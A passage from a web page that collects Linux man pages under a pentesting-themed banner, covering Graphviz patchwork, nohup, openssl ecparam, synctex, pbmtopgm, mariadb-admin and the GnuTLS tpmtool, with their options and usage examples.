tooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when edges have a URL. The tooltip string defaults to be the same as the edge label string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

arrowhead,arrowtail=none, normal, inv, dot, odot, invdot, invodot, tee, empty, invempty, open, halfopen, diamond, odiamond, box, obox, crow.

arrowsize (norm_length=10,norm_width=5, inv_length=6,inv_width=7,dot_radius=2)

headlabel,taillabel=string for port labels. labelfontcolor,labelfontname,labelfontsize for head and tail labels. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headhref=“url” sets the url for the head port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headURL=“url” (“headURL” is a synonym for “headhref”.)

headtarget=“headtarget” is a target string for client‐side imagemaps and SVG, effective when edge heads have a URL. The headtarget string is used to determine which window of the browser is used for the URL. If the headtarget string is empty, the default, then headtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when head ports have a URL. The tooltip string defaults to be the same as the headlabel string. The substrings ‘\T’, ‘\H’, and ‘’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailhref=“url” sets the url for the tail port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailURL=“url” (“tailURL” is a synonym for “tailhref”.)

tailtarget=“tailtarget” is a target string for client‐side imagemaps and SVG, effective when edge tails have a URL. The tailtarget string is used to determine which window of the browser is used for the URL. If the tailtarget string is empty, the default, then tailtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when tail ports have a URL. The tooltip string defaults to be the same as the taillabel string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

labeldistance and port_label_distance set distance; also labelangle (in degrees CCW)

decorate draws line from edge to label.

samehead,sametail aim edges having the same value to the same port, using the average landing point.

**layer=**id or id:id or “all” sets the edge’s active layers. The empty string means no layers (invisible).

(neato‐specific attributes)
**w=**f sets the weight (spring constant) of an edge to the given floating point value. The default is 1.0; greater values make the edge tend more toward its optimal length.

**len=**f sets the optimal length of an edge. The default is 1.0.

COMMAND LINE OPTIONS

-G sets a default graph attribute.
-N sets a default node attribute.
-E sets a default edge attribute. Example: -Gsize=“7,8” -Nshape=box -Efontsize=8

-lfile loads custom PostScript library files. Usually these define custom shapes or styles. If -l is given by itself, the standard library is omitted.

-Tlang sets the output language as described above.

-O automatically generate output filenames based on the input filename and the -T format.

-v (verbose) prints various information useful for debugging.

-V (version) prints version information and exits.

-? prints the usage and exits.

EXAMPLES

graph G {
  node[style=filled]
  subgraph cluster0 {
    subgraph cluster0_0 {
      style=filled
      fillcolor=green
      a b[area=3 fillcolor=yellow]
    }
    subgraph cluster0_1 {
       area=2
       bgcolor=yellow
    }
    c [style=filled
      fillcolor=red ]
  }
  subgraph cluster1 {
    e f
  }
}

BUGS

At present, patchwork ignores edges, and supplies no visual clues to indicate nesting. Such clues might consist of nested boxes or thicker rectangular outlines. In addition, it would be good if some cluster label could be displayed.

Patchwork has no mechanism for fitting labels within the supplied box.

AUTHORS

Emden R. Gansner <[email protected]>
Yifan Hu <[email protected]>

SEE ALSO

This man page contains only a small amount of the information related to the Graphviz layout programs. The most complete information can be found at http://www.graphviz.org/Documentation.php, especially in the on‐line reference pages. Most of these documents are also available in the doc and doc/info subtrees in the source and binary distributions.

dot(1)

M. Bruls, K. Huizing and J. van Wijk, “Squarified Treemaps”, Proc. Eurographics and IEEE TVCG Symposium on Visualization, 1999, pp. 33‐42.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1628 - Linux cli command nohup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nohup and provides detailed information about the command nohup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nohup.

NAME 🖥️ nohup 🖥️

run a command immune to hangups, with output to a non-tty

SYNOPSIS

nohup COMMAND [ARG]…
nohup OPTION

DESCRIPTION

Run COMMAND, ignoring hangup signals.

–help
display this help and exit

–version
output version information and exit

If standard input is a terminal, redirect it from an unreadable file. If standard output is a terminal, append output to ’nohup.out’ if possible, ‘$HOME/nohup.out’ otherwise. If standard error is a terminal, redirect it to standard output. To save output to FILE, use ’nohup COMMAND > FILE’.

NOTE: your shell may have its own version of nohup, which usually supersedes the version described here. Please refer to your shell’s documentation for details about the options it supports.

Exit status:

125
if the nohup command itself fails

126
if COMMAND is found but cannot be invoked

127
if COMMAND cannot be found

-
the exit status of COMMAND otherwise

AUTHOR

Written by Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/nohup>
or available locally via: info ‘(coreutils) nohup invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1629 - Linux cli command openssl-ecparamssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-ecparamssl and provides detailed information about the command openssl-ecparamssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-ecparamssl.

NAME 🖥️ openssl-ecparamssl 🖥️

ecparam - EC parameter manipulation and generation

SYNOPSIS

openssl ecparam [-help] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-out filename] [-noout] [-text] [-check] [-check_named] [-name arg] [-list_curves] [-conv_form arg] [-param_enc arg] [-no_seed] [-genkey] [-engine id] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command is used to manipulate or generate EC parameter files.

OpenSSL is currently not able to generate new groups and therefore this command can only create EC parameters from known (named) curves.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM
The EC parameters input format; unspecified by default. See openssl-format-options (1) for details.

-outform DER|PEM
The EC parameters output format; the default is PEM. See openssl-format-options (1) for details. Parameters are encoded as EcpkParameters as specified in IETF RFC 3279.

-in filename
This specifies the input filename to read parameters from or standard input if this option is not specified.

-out filename
This specifies the output filename parameters to. Standard output is used if this option is not present. The output filename should not be the same as the input filename.

-noout
This option inhibits the output of the encoded version of the parameters.

-text
This option prints out the EC parameters in human readable form.

-check
Validate the elliptic curve parameters.

-check_named
Validate the elliptic name curve parameters by checking if the curve parameters match any built-in curves.

-name arg
Use the EC parameters with the specified ‘short’ name. Use -list_curves to get a list of all currently implemented EC parameters.

-list_curves
Print out a list of all currently implemented EC parameters names and exit.

-conv_form arg
This specifies how the points on the elliptic curve are converted into octet strings. Possible values are: compressed, uncompressed (the default value) and hybrid. For more information regarding the point conversion forms please read the X9.62 standard. Note Due to patent issues the compressed option is disabled by default for binary curves and can be enabled by defining the preprocessor macro OPENSSL_EC_BIN_PT_COMP at compile time.

-param_enc arg
This specifies how the elliptic curve parameters are encoded. Possible value are: named_curve, i.e. the ec parameters are specified by an OID, or explicit where the ec parameters are explicitly given (see RFC 3279 for the definition of the EC parameters structures). The default value is named_curve. Note the implicitlyCA alternative, as specified in RFC 3279, is currently not implemented in OpenSSL.

-no_seed
This option inhibits that the ‘seed’ for the parameter generation is included in the ECParameters structure (see RFC 3279).

-genkey
This option will generate an EC private key using the specified parameters.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

The openssl-genpkey (1) and openssl-pkeyparam (1) commands are capable of performing all the operations this command can, as well as supporting other public key types.

EXAMPLES

The documentation for the openssl-genpkey (1) and openssl-pkeyparam (1) commands contains examples equivalent to the ones listed here.

To create EC parameters with the group ‘prime192v1’:

openssl ecparam -out ec_param.pem -name prime192v1

To create EC parameters with explicit parameters:

openssl ecparam -out ec_param.pem -name prime192v1 -param_enc explicit

To validate given EC parameters:

openssl ecparam -in ec_param.pem -check

To create EC parameters and a private key:

openssl ecparam -out ec_key.pem -name prime192v1 -genkey

To change the point encoding to ‘compressed’:

openssl ecparam -in ec_in.pem -out ec_out.pem -conv_form compressed

To print out the EC parameters to standard output:

openssl ecparam -in ec_param.pem -noout -text

SEE ALSO

openssl (1), openssl-pkeyparam (1), openssl-genpkey (1), openssl-ec (1), openssl-dsaparam (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

The -C option was removed in OpenSSL 3.0.

COPYRIGHT

Copyright 2003-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1630 - Linux cli command synctex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command synctex and provides detailed information about the command synctex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the synctex.

command [options] [args]

The Synchronization TeXnology is a feature of recent TeX engines. It allows one to synchronize between input and output, which means to navigate from the source document to the typeset material and vice versa.

Run `synctex help’ to access the built-in tool documentation.

If NUMBER=0 or no option is given, no synctex file is created.

If NUMBER<0, synctex files are text files.

If NUMBER>0, synctex files are compressed with gz.

If NUMBER&2, no .gz extension is used.

If NUMBER&4, activate form support, useful for pdftex.

If NUMBER&8, better file compression.

Use for example `pdftex -synctex=15 foo.tex’ to activate all the options.

Notice that LuaTeX option is `–synctex=NUMBER’ with two dashes.

The Synchronize TeXnology is essentially due to Jerome Laurens, with useful suggestions by some well known actors of the TeX world. SyncTeX is maintained as part of TeX Live.

Revised on Sun Apr 23 09:54:20 UTC 2017.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1631 - Linux cli command pbmtopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtopgm and provides detailed information about the command pbmtopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtopgm.

.

NAME 🖥️ pbmtopgm 🖥️

convert PBM image to PGM by averaging areas

SYNOPSIS

pbmtopgm width height [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtopgm reads a PBM image as input. It outputs a PGM image in which each pixel’s gray level is the average of the surrounding black and white input pixels. The surrounding area is a rectangle of width by height pixels.

In other words, this is a convolution. pbmtopgm is similar to a special case of pnmconvol.

You may need a pnmsmooth step after pbmtopgm.

pbmtopgm has the effect of anti-aliasing bitmaps which contain distinct line features.

pbmtopgm works best with odd sample width and heights.

You don’t need pbmtopgm just to use a PGM program on a PBM image. Any PGM program (assuming it uses the Netpbm libraries to read the PGM input) takes PBM input as if it were PGM, with only the minimum and maximum gray levels. So unless your convolution rectangle is bigger than one pixel, you’re not gaining anything with a pbmtopgm step.

The opposite transformation (which would turn a PGM into a PBM) is dithering. See pamditherbw.

OPTIONS

There are no command line options defined specifically for pbmtopgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamditherbw(1) , pnmconvol(1) , pbm(1) , pgm(1)

AUTHOR

Copyright (C) 1990 by Angus Duggan.

Copyright (C) 1989 by Jef Poskanzer.

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided “as is” without express or implied warranty.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1632 - Linux cli command mariadb-admin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-admin and provides detailed information about the command mariadb-admin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-admin.

NAME 🖥️ mariadb-admin 🖥️

admin - client for administering a MariaDB server (mysqladmin is now a symlink to mariadb-admin)

SYNOPSIS

mysqladmin [options] command **[command-arg] [**command [command-arg]] …

DESCRIPTION

mysqladmin is a client for performing administrative operations. You can use it to check the server’s configuration and current status, to create and drop databases, and more.

Invoke mysqladmin like this:

shell> mysqladmin [options] command [command-arg] [command [command-arg]] …

mysqladmin supports the following commands. Some of the commands take an argument following the command name.

·

create db_name

Create a new database named db_name.

·

debug

Tell the server to write debug information to the error log.

This also includes information about the Event Scheduler.

·

drop db_name

Delete the database named db_name and all its tables.

·

extended-status

Display the server status variables and their values.

·

flush-all-statistics

Flush all statistics tables.

·

flush-all-status

Flush all status and statistics.

·

flush-binary-log

Flush the binary log.

·

flush-client-statistics

Flush client statistics.

·

flush-engine-log

Flush engine log.

·

flush-error-log

Flush error log.

·

flush-general-log

Flush general query log.

·

flush-hosts

Flush all information in the host cache.

·

flush-index-statistics

Flush index statistics.

·

flush-logs

Flush all logs.

·

flush-privileges

Reload the grant tables (same as reload).

·

flush-relay-log

Flush relay log.

·

flush-slow-log

Flush slow query log.

·

flush-ssl

Flush SSL certificates.

·

flush-status

Clear status variables.

·

flush-table-statistics

Flush table statistics.

·

flush-tables

Flush all tables.

·

flush-threads

Flush the thread cache.

·

flush-user-resources

Flush user resources.

·

kill id,id,…

Kill server threads. If multiple thread ID values are given, there must be no spaces in the list.

·

old-password new-password

This is like the password command but stores the password using the old (pre MySQL 4.1) password-hashing format.

·

password new-password

Set a new password. This changes the password to new-password for the account that you use with mysqladmin for connecting to the server. Thus, the next time you invoke mysqladmin (or any other client program) using the same account, you will need to specify the new password.

If the new-password value contains spaces or other characters that are special to your command interpreter, you need to enclose it within quotes. On Windows, be sure to use double quotes rather than single quotes; single quotes are not stripped from the password, but rather are interpreted as part of the password. For example:

shell> mysqladmin password “my new password”

Caution

Do not use this command used if the server was started with the –skip-grant-tables option. No password change will be applied. This is true even if you precede the password command with flush-privileges on the same command line to re-enable the grant tables because the flush operation occurs after you connect. However, you can use mysqladmin flush-privileges to re-enable the grant table and then use a separate mysqladmin password command to change the password.

·

ping

Check whether the server is alive. The return status from mysqladmin is 0 if the server is running, 1 if it is not. This is 0 even in case of an error such as Access denied, because this means that the server is running but refused the connection, which is different from the server not running.

·

processlist

Show a list of active server threads. This is like the output of the SHOW PROCESSLIST statement. If the –verbose option is given, the output is like that of SHOW FULL PROCESSLIST.

·

reload

Reload the grant tables.

·

refresh

Flush all tables and close and open log files.

·

shutdown

Stop the server.

·

start-all-slaves

Start all slaves.

·

start-slave

Start replication on a slave server.

·

status

Display a short server status message.

·

stop-all-slaves

Stop all slaves.

·

stop-slave

Stop replication on a slave server.

·

variables

Display the server system variables and their values.

·

version

Display version information from the server.

All commands can be shortened to any unique prefix. For example:

shell> mysqladmin proc stat +—-+——-+———–+—-+———+——+——-+——————+ | Id | User | Host | db | Command | Time | State | Info | +—-+——-+———–+—-+———+——+——-+——————+ | 51 | monty | localhost | | Query | 0 | | show processlist | +—-+——-+———–+—-+———+——+——-+——————+ Uptime: 1473624 Threads: 1 Questions: 39487 Slow queries: 0 Opens: 541 Flush tables: 1 Open tables: 19 Queries per second avg: 0.0268

The mysqladmin status command result displays the following values:

·

Uptime

The number of seconds the MariaDB server has been running.

·

Threads

The number of active threads (clients).

·

Questions

The number of questions (queries) from clients since the server was started.

·

Slow queries

The number of queries that have taken more than log_slow_query_time seconds.

·

Opens

The number of tables the server has opened.

·

Flush tables

The number of flush-*, refresh, and reload commands the server has executed.

·

Open tables

The number of tables that currently are open.

·

Memory in use

The amount of memory allocated directly by mysqld. This value is displayed only when MariaDB has been compiled with –with-debug=full.

·

Maximum memory used

The maximum amount of memory allocated directly by mysqld. This value is displayed only when MariaDB has been compiled with –with-debug=full.

If you execute mysqladmin shutdown when connecting to a local server using a Unix socket file, mysqladmin waits until the server’s process ID file has been removed, to ensure that the server has stopped properly.

mysqladmin supports the following options, which can be specified on the command line or in the [mysqladmin] and [client] option file groups.

·

–help, -?

Display help and exit.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

**–connect-timeout=**timeout

Equivalent to –connect_timeout, see the end of this section.

·

**–count=**N, -c N

The number of iterations to make for repeated command execution if the –sleep option is given.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/mysqladmin.trace'.

·

–debug-check

Check memory and open file usage at exit..

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

–default-auth

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–force, -f

Do not ask for confirmation for the drop db_name command. With multiple commands, continue even if an error occurs.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–local, -l

Suppress the SQL command(s) from being written to the binary log by using FLUSH LOCAL or enabling sql_log_bin=0 for the session.

·

–no-beep, -b

Suppress the warning beep that is emitted by default for errors such as a failure to connect to the server.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqladmin prompts for one.

Specifying a password on the command line should be considered insecure.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection or 0 for default to, in order of preference, my.cnf, $MYSQL_TCP_PORT, /etc/services, built-in default (3306). Forces –protocol=tcp when specified on the command line without other connection properties.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–relative, -r

Show the difference between the current and previous values when used with the –sleep option. Currently, this option works only with the extended-status command.

·

–shutdown-timeouttimeout

Equivalent of –shutdown_timeout, see the end of this section.

·

–silent, -s

Exit silently if a connection to the server cannot be established.

·

**–sleep=**delay, -i delay

Execute commands repeatedly, sleeping for delay seconds in between. The –count option determines the number of iterations. If –count is not given, mysqladmin executes commands indefinitely until interrupted.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

**–tls-version=**name,

Accepts a comma-separated list of TLS protocol versions. A TLS protocol version will only be enabled if it is present in this list. All other TLS protocol versions will not be permitted.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print more information about what the program does.

·

–version, -V

Display version information and exit.

·

–vertical, -E

Print output vertically. This is similar to –relative, but prints output vertically.

·

–wait[=count], -w[count]

If the connection cannot be established, wait and retry instead of aborting. If a count value is given, it indicates the number of times to retry. The default is one time.

·

–wait-for-all-slaves

Wait for the last binlog event to be sent to all connected slaves before shutting down. This option is off by default.

You can also set the following variables by using **–var_name=**value

·

connect_timeout

The maximum number of seconds before connection timeout. The default value is 43200 (12 hours).

·

shutdown_timeout

The maximum number of seconds to wait for server shutdown. The default value is 3600 (1 hour).

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1633 - Linux cli command tpmtool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tpmtool and provides detailed information about the command tpmtool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tpmtool.

NAME 🖥️ tpmtool 🖥️

GnuTLS TPM tool

SYNOPSIS

tpmtool [-flags] [-flag [value]] [–option-name[[=| ]value]]

All arguments must be options.

DESCRIPTION

Program that allows handling cryptographic data from the TPM chip.

OPTIONS

Enable debugging. This option takes an integer number as its argument. The value of num is constrained to being:

in the range 0 through 9999

Specifies the debug level.

Input file.

Output file.

Generate an RSA private-public key pair.

Generates an RSA private-public key pair in the TPM chip. The key may be stored in file system and protected by a PIN, or stored (registered) in the TPM chip flash.

Any generated key will be registered in the TPM. This option must appear in combination with the following options: generate-rsa.

Any generated key will be a signing key. This option must not appear in combination with any of the following options: legacy. This option must appear in combination with the following options: generate-rsa.

Any generated key will be a legacy key. This option must not appear in combination with any of the following options: signing. This option must appear in combination with the following options: generate-rsa.

Any registered key will be a user key. This option must not appear in combination with any of the following options: system. This option must appear in combination with the following options: register.

The generated key will be stored in a user specific persistent storage.

Any registered key will be a system key. This option must not appear in combination with any of the following options: user. This option must appear in combination with the following options: register.

The generated key will be stored in system persistent storage.

Prints the public key of the provided key.

Lists all stored keys in the TPM.

Delete the key identified by the given URL (UUID).

Tests the signature operation of the provided object.

It can be used to test the correct operation of the signature operation. This operation will sign and verify the signed data.

Specify the security level [low, legacy, medium, high, ultra].

This is alternative to the bits option. Note however that the values allowed by the TPM chip are quantized and given values may be rounded up.

Specify the number of bits for key generate. This option takes an integer number as its argument.

Use the DER format for keys. The no-inder form will disable the option.

The input files will be assumed to be in the portable DER format of TPM. The default format is a custom format used by various TPM tools

